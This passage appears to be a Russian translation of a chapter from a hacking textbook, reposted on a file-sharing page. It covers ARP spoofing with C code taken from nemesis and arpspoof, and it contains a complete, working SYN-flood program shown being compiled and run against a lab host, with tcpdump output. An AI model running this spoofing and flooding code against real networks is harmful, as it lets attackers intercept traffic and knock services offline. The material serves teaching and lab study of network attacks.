Главная страница
Навигация по странице:

  • libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type NULL, 0, pkt); libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln

  • LIBNET_ARP_H + pd->file_s);

  • libnet_destroy_packet(pkt); if (l2 != NULL) libnet_close_link_interface(l2);

  • Фрагмент man-страницы libnet libnet_open_link_interface()

  • Фрагмент man-страницы arpspoof

  • libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, op, sha, (u_char *)spa, tha, (u_char *)tpa

  • Фрагмент man-страницы libnet libnet_get_hwaddr()

  • 0x450 Отказ в обслуживании Один из простейших видов сетевых атак – отказ в обслуживании (DoS – Denial of Service). 282

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница30 из 51
    1   ...   26   27   28   29   30   31   32   33   ...   51

    Фрагмент nemesis-proto_arp.c
    int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device,
    int reply)
    {

    0x440 Анализ сетевых пакетов (сниффинг)
    277
    int n = 0;
    u_int32_t arp_packetlen;
    static u_int8_t *pkt;
    struct libnet_link_int *l2 = NULL;
    /* Проверки корректности */
    if (pd->file_mem == NULL)
    pd->file_s = 0;
    arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;
    #ifdef DEBUG
    printf(“DEBUG: ARP packet length %u.\n”, arp_packetlen);
    printf(“DEBUG: ARP payload size %u.\n”, pd->file_s);
    #endif if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL)
    {
    nemesis_device_failure(INJECTION_LINK, (const char *)device);
    return -1;
    }
    if (libnet_init_packet(arp_packetlen, &pkt) == -1)
    {
    fprintf(stderr, “ERROR: Unable to allocate packet memory.\n”);
    return -1;
    }
    libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type
    NULL, 0, pkt);
    libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln,
    arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa,
    pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H);
    n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +
    LIBNET_ARP_H + pd->file_s);
    if (verbose == 2)
    nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);
    if (verbose == 3)
    nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);
    if (n != arp_packetlen)
    {
    fprintf(stderr, “ERROR: Incomplete packet injection. Only “
    “wrote %d bytes.\n”, n);
    }
    else
    {
    if (verbose)

    278
    0x400Сетевое взаимодействие
    {
    if (memcmp(eth->ether_dhost, (void *)&one, 6))
    {
    printf(“Wrote %d byte unicast ARP request packet through “
    “linktype %s.\n”, n,
    nemesis_lookup_linktype(l2->linktype));
    }
    else
    {
    printf(“Wrote %d byte %s packet through linktype %s.\n”, n,
    (eth->ether_type == ETHERTYPE_ARP ? “ARP” : “RARP”),
    nemesis_lookup_linktype(l2->linktype));
    }
    }
    }
    libnet_destroy_packet(&pkt);
    if (l2 != NULL)
    libnet_close_link_interface(l2);
    return (n);
    }
    В целом работа этой функции должна быть понятна. С помощью функ- ций libnet она открывает интерфейс соединения и инициализирует память для пакета. Затем она строит Ethernet-пакет с помощью эле- ментов структуры Ethernet-заголовка, а потом то же самое делает для уровня ARP. Затем записывает этот пакет в устройство, чтобы отпра- вить его, и наконец прибирает за собой, уничтожая пакет и закрывая интерфейс. Для лучшего понимания ниже приведен фрагмент страни- цы руководства libnet.
    Фрагмент man-страницы libnet
    libnet_open_link_interface()
    открывает интерфейс пакетов низкого уровня.
    Это требуется для записи пакетов канального уровня. Функции передается указатель u_char на имя устройства интерфейса и указатель u_char на буфер ошибок. Функция возвращает структуру libnet_link_int или NULL в случае ошибки.
    libnet_init_packet()
    инициализирует пакет. Если размер опущен (или отрицательный), библиотека подберет пользователю подходящее значение
    (в данное время LIBNET_MAX_PACKET). Если удалось выделить память, она обнуляется и функция возвращает 1. В случае ошибки функция возвращает -1.
    Так как функция вызывает malloc, нужно обязательно в какой-то момент вызвать destroy_packet().
    libnet_build_ethernet()
    строит пакет Ethernet. Функции передаются адрес получателя, адрес отправителя (в виде массивов unsigned char) и тип пакета Ethernet, указатель на необязательную секцию данных, размер данных и указатель на предварительно выделенный блок памяти для пакета. Тип пакета
    Ethernet выбирается из следующих:

    0x440 Анализ сетевых пакетов (сниффинг)
    279
    Значение Тип
    ETHERTYPE_PUP Протокол PUP
    ETHERTYPE_IP Протокол IP
    ETHERTYPE_ARP Протокол ARP
    ETHERTYPE_REVARP Протокол обратного ARP
    ETHERTYPE_VLAN Виртуальные сети
    ETHERTYPE_LOOPBACK Для тестирования интерфейсов
    libnet_build_arp()
    строит пакет ARP (Address Resolution Protocol). Функция принимает аргументы: код устройства, код протокола, размер физического адреса, размер логического адреса, тип пакета ARP, физический адрес отправителя, логический адрес отправителя, физический адрес получателя, логический адрес получателя, данные пакета, размер данных пакета и указатель на заголовок пакета. Учтите, что эта функция строит только пакеты Ethernet/
    IP ARP, а потому первым аргументом должен быть ARPHRD_ETHER. Пакет ARP может иметь один из следующих типов:
    ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY,
    ARPOP_INVREQUEST или ARPOP_INVREPLY.
    libnet_destroy_packet()
    освобождает память, выделенную пакету.
    libnet_close_link_interface()
    закрывает интерфейс пакетов низкого уровня.
    При успехе возвращается 1, а при ошибке -1.
    Располагая базовыми знаниями C, документацией API и здравым смыслом, можно расширять свои знания, изучая проекты open source.
    Например, Даг Сонг предоставляет вместе с dsniff программу arpspoof, которая осуществляет атаку ARP-переадресации.
    Фрагмент man-страницы arpspoof
    ИМЯ
    arpspoof – перехват пакетов коммутируемой LAN
    ОБЗОР
    arpspoof [-i interface] [-t target] host
    ОПИСАНИЕ
    arpspoof переадресует пакеты целевого узла (или всех узлов) LAN,
    предназначенные другому узлу этой LAN, с помощью фальшивых ответов ARP.
    Это исключительно эффективный способ перехвата трафика коммутатора.
    Необходимо заранее включить переадресацию IP в ядре (или запустить пользовательскую программу вроде fragrouter(8)).
    ОПЦИИ
    -i interface
    Указать используемый интерфейс.
    -t target
    Задать узел, ARP-кэш которого нужно испортить
    (если не указан, то задействуются все узлы в LAN).

    280
    0x400Сетевое взаимодействие host Задать узел, пакеты для которого будут перехватываться (обычно шлюз из локальной сети).
    СМ. ТАКЖЕ
    dsniff(8), fragrouter(8)
    АВТОР
    Даг Сонг
    Сила этой программы – в функции arp_send(), также задействующей
    libnet для фальсификации пакетов. Исходный код этой функции дол- жен быть понятен читателю, поскольку в нем используется ряд уже обсуждавшихся функций libnet (выделены полужирным). Работа со структурами и буфером ошибок также знакома.
    arpspoof.c
    static struct libnet_link_int *llif;
    static struct ether_addr spoof_mac, target_mac;
    static in_addr_t spoof_ip, target_ip;
    int arp_send(struct libnet_link_int *llif, char *dev,
    int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
    {
    char ebuf[128];
    u_char pkt[60];
    if (sha == NULL &&
    (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
    return (-1);
    }
    if (spa == 0) {
    if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
    return (-1);
    spa = htonl(spa); /* XXX */
    }
    if (tha == NULL)
    tha = “\xff\xff\xff\xff\xff\xff”;
    libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
    libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
    op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
    NULL, 0, pkt + ETH_H);
    fprintf(stderr, “%s “,
    ether_ntoa((struct ether_addr *)sha));
    if (op == ARPOP_REQUEST) {

    0x450 Отказ в обслуживании
    281
    fprintf(stderr, “%s 0806 42: arp who-has %s tell %s\n”,
    ether_ntoa((struct ether_addr *)tha),
    libnet_host_lookup(tpa, 0),
    libnet_host_lookup(spa, 0));
    }
    else {
    fprintf(stderr, “%s 0806 42: arp reply %s is-at “,
    ether_ntoa((struct ether_addr *)tha),
    libnet_host_lookup(spa, 0));
    fprintf(stderr, “%s\n”,
    ether_ntoa((struct ether_addr *)sha));
    }
    return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) ==
    sizeof(pkt));
    }
    Остальные функции libnet получают аппаратные адреса, IP-адреса и ищут узлы. У них содержательные имена, и работа с ними подробно описана на странице руководства libnet.
    Фрагмент man-страницы libnet
    libnet_get_hwaddr()
    принимает указатель на структуру интерфейса канального уровня, указатель на имя сетевого устройства и пустой буфер для записи сообщения об ошибке. Функция возвращает MAC-адрес указанного устройства или
    0 в случае ошибки (в буфер будет помещено ее описание).
    libnet_get_ipaddr()
    принимает указатель на структуру интерфейса канального уровня, указатель на имя сетевого устройства и пустой буфер для записи сообщения об ошибке. Функция возвращает IP-адрес указанного интерфейса с порядком байт, определяемым архитектурой узла, или 0 в случае ошибки
    (в буфер будет помещено ее описание).
    libnet_host_lookup()
    преобразует переданный ей адрес IPv4 с сетевым порядком байт (“сначала старший”) к виду, удобному для чтения. Если use_name = 1, libnet_host_lookup() попытается разрешить IP-адрес и вернуть имя узла, иначе
    (или при неудаче поиска) функция вернет строку ASCII из чисел с точками.
    Умея читать код C, вы многому сможете научиться по имеющимся про- граммам. С такими библиотеками, как libnet и libpcap, поставляется обширная документация, раскрывающая детали, о которых вы може- те не догадаться, читая исходный код. Задача книги – научить читате- ля получать информацию из исходного кода, а не просто освоить при- менение каких-то библиотек. Есть и другие библиотеки, и множество программ, которые их используют.
    0x450 Отказ в обслуживании
    Один из простейших видов сетевых атак – отказ в обслуживании
    (DoS – Denial of Service).

    282
    0x400Сетевое взаимодействие
    При DoS-атаке не крадется информация, а просто нарушается доступ- ность службы или ресурса. Есть два главных вида DoS-атак: в одном случае служба аварийно завершается, в другом не справляется с чрез- мерной нагрузкой.
    DoS-атаки, приводящие к аварийному завершению сервисов, ближе к программным, чем к сетевым эксплойтам. Часто эти атаки основаны на уязвимостях реализации, предлагаемой конкретным производите- лем. Неудачный эксплойт на основе переполнения буфера обычно при- водит к аварийному завершению атакуемой программы вместо выпол- нения ею внедренного шелл-кода. Если эта программа выполняется на сервере, служба оказывается недоступной для всех клиентов. Вызыва- ющие аварийное завершение DoS-атаки обычно привязаны к конкрет- ным версиям конкретных программ. Поскольку стек сетевых протоко- лов обрабатывается операционной системой, авария в таком коде вы- водит из строя ядро и вызывает отказ всей машины. Многие из подоб- ных уязвимостей в большинстве современных операционных систем устранены, но все же полезно рассмотреть, как такие приемы могут применяться в различных ситуациях.
    0x451 SYN-флуд
    SYN-флудом называются атаки, состоящие в попытке превысить допу- стимое количество состояний в стеке TCP/IP. Поскольку TCP поддер- живает «надежные» соединения, он должен где-то хранить и их состо- яние. Стек TCP/IP ядра делает это, но количество соединений, которые он может хранить, ограничено. В атаке SYN-флуда применяется фаль- сификация адресов, чтобы превысить существующее ограничение.
    Атакующий забрасывает атакуемую систему множеством SYN-пакетов, в которых указаны несуществующие адреса отправителя. SYN-пакеты служат для открытия TCP-соединений, и в ответ на них атакуемая ма- шина должна посылать на ложный адрес SYN/ACK-пакеты и ждать
    ACK-ответа. Каждое из этих ждущих полуоткрытых соединений поме- щается в особую очередь ограниченного размера. Поскольку фальсифи- цированные адреса не существуют, ACK-ответы, необходимые для уста- новления соединения и удаления записей из очереди, никогда не посту- пят. Каждое полуоткрытое соединение будет удаляться по истечении тайм-аута, а это занимает относительно много времени.
    Пока атакующий продолжает наводнять атакуемую систему поддель- ными SYN-пакетами, очередь ждущих открытия соединений оказыва- ется переполненной, и настоящим SYN-пакетам практически невоз- можно попасть в систему и открыть реальные соединения TCP/IP.
    Взяв за основу исходный код Nemesis и arpspoof, можно самостоятельно написать программу, которая осуществляет такую атаку. Ниже приведе- на программа, использующая функции libnet, взятые из исходного кода, и функции сокетов, которые рассматривались выше. В исходном коде

    0x450 Отказ в обслуживании
    283
    Nemesis для получения псевдослучайных чисел для различных IP-полей используется функция libnet_get_prand(). Функция libnet_seed_prand() служит для задания случайного начального значения. Такие же задачи эти функции выполняют в приведенной программе.
    synflood.c
    #include
    #define FLOOD_DELAY 5000 // Задержка между отправкой пакетов 5000 ms.
    /* Возвращает IP в виде x.x.x.x */
    char *print_ip(u_long *ip_addr_ptr) {
    return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
    }
    int main(int argc, char *argv[]) {
    u_long dest_ip;
    u_short dest_port;
    u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
    int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
    if(argc < 3)
    {
    printf(“Usage:\n%s\t \n”, argv[0]);
    exit(1);
    }
    dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // Узел dest_port = (u_short) atoi(argv[2]); // Порт network = libnet_open_raw_sock(IPPROTO_RAW); // Открыть сетевой интерфейс.
    if (network == -1)
    libnet_error(LIBNET_ERR_FATAL, “can’t open network interface. -- this program must run as root.\n”);
    libnet_init_packet(packet_size, &packet); // Выделить память для пакета.
    if (packet == NULL)
    libnet_error(LIBNET_ERR_FATAL, “can’t initialize packet memory.\n”);
    libnet_seed_prand(); // Инициализировать генератор случайных чисел.
    printf(“SYN Flooding port %d of %s..\n”, dest_port, print_ip(&dest_ip));
    while(1) // loop forever (until break by CTRL-C)
    {
    libnet_build_ip(LIBNET_TCP_H, // Размер пакета без IP-заголовка
    IPTOS_LOWDELAY, // Тип IP-сервиса libnet_get_prand(LIBNET_PRu16), // IP ID (случайный)
    0, // Фрагментация libnet_get_prand(LIBNET_PR8), // TTL (случайный)
    IPPROTO_TCP, // Транспортный протокол libnet_get_prand(LIBNET_PRu32), // IP отправителя (случайный)

    284
    0x400Сетевое взаимодействие dest_ip, // IP получателя
    NULL, // Данные (нет)
    0, // Размер данных packet); // Память заголовка пакета libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Порт TCP
    // отправителя (случайный)
    dest_port, // Порт TCP получателя libnet_get_prand(LIBNET_PRu32), // Порядковый номер (случайный)
    libnet_get_prand(LIBNET_PRu32), // Номер подтверждения (случайный)
    TH_SYN, // Флаги (задан только SYN)
    libnet_get_prand(LIBNET_PRu16), // Размер окна (случайный)
    0, // Срочность
    NULL, // Данные (нет)
    0, // Размер данных packet + LIBNET_IP_H); // Память заголовка пакета if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
    libnet_error(LIBNET_ERR_FATAL, “can’t compute checksum\n”);
    byte_count = libnet_write_ip(network, packet, packet_size); // Отправить
    // пакет.
    if (byte_count < packet_size)
    libnet_error(LIBNET_ERR_WARNING, “Warning: Incomplete packet written. (%d of %d bytes)”, byte_count, packet_size);
    usleep(FLOOD_DELAY); // Ждать FLOOD_DELAY миллисекунд.
    }
    libnet_destroy_packet(&packet); // Освободить память пакета.
    if (libnet_close_raw_sock(network) == -1) // Закрыть сетевой интерфейс.
    libnet_error(LIBNET_ERR_WARNING, “can’t close network interface.”);
    return 0;
    }
    В этой программе применяется функция print_ip(), чтобы преобразо- вать тип u_long, используемый в libnet для хранения IP-адресов, в тип структуры, принимаемой inet_ntoa(). Значение при этом не меняется; приведение типа просто успокаивающе действует на компилятор.
    Текущая версия libnet 1.1 не совместима с libnet 1.0. Но Nemesis и arpspoof по-прежнему основаны на версии libnet 1.0, поэтому мы ис- пользуем ее в программе synflood. Для компиляции с libnet использу- ется флаг -lnet – так же, как в случае libpcap. Однако компилятору этого мало, как показывает следующий вывод:
    reader@hacking:

    /booksrc $ gcc -o synflood synflood.c -lnet
    In file included from synflood.c:1:

    0x450 Отказ в обслуживании
    285
    /usr/include/libnet.h:87:2: #error “byte order has not been specified, you’ll”
    synflood.c:6: error: syntax error before string constant reader@hacking:/booksrc $
    Компилятор спотыкается, потому что для libnet нужно установить не- сколько обязательных флагов define. Вместе с libnet поставляется про- грамма libnet-config, которая показывает, что это за флаги:
    reader@hacking:/booksrc $ libnet-config --help
    Usage: libnet-config [OPTIONS]
    Options:
    [--libs]
    [--cflags]
    [--defines]
    reader@hacking:/booksrc $ libnet-config --defines
    -D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H -DLIBNET_
    LIL_ENDIAN
    С помощью подстановки команд оболочки BASH можно динамически вставить эти флаги в команду компиляции:
    reader@hacking:/booksrc $ gcc $(libnet-config --defines) -o synflood synflood.c -lnet reader@hacking:/booksrc $ ./synflood
    Usage:
    ./synflood
    reader@hacking:/booksrc $
    reader@hacking:/booksrc $ ./synflood 192.168.42.88 22
    Fatal: can’t open network interface. -- this program must run as root.
    reader@hacking:/booksrc $ sudo ./synflood 192.168.42.88 22
    SYN Flooding port 22 of 192.168.42.88..
    В данном случае узел 192.168.42.88 – это машина с Windows XP, на которой через cygwin запущен сервер openssh с портом 22. Вывод про- граммы tcpdump показывает, как сервер забивают фальшивые SYN- пакеты с IP-адресов, выглядящих случайными. Пока работает эта про- грамма, на этом порте невозможно открыть нормальное соединение.
    reader@hacking:/booksrc $ sudo tcpdump -i eth0 -nl -c 15 “host
    192.168.42.88”
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
    17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S
    751659999:751659999(0) win 14609 17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S
    139725579:139725579(0) win 64357 17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S
    322318966:322318966(0) win 43747 17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S
    685911671:685911671(0) win 62957 17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S
    71363071:71363071(0) win 30490

    1   ...   26   27   28   29   30   31   32   33   ...   51


    написать администратору сайта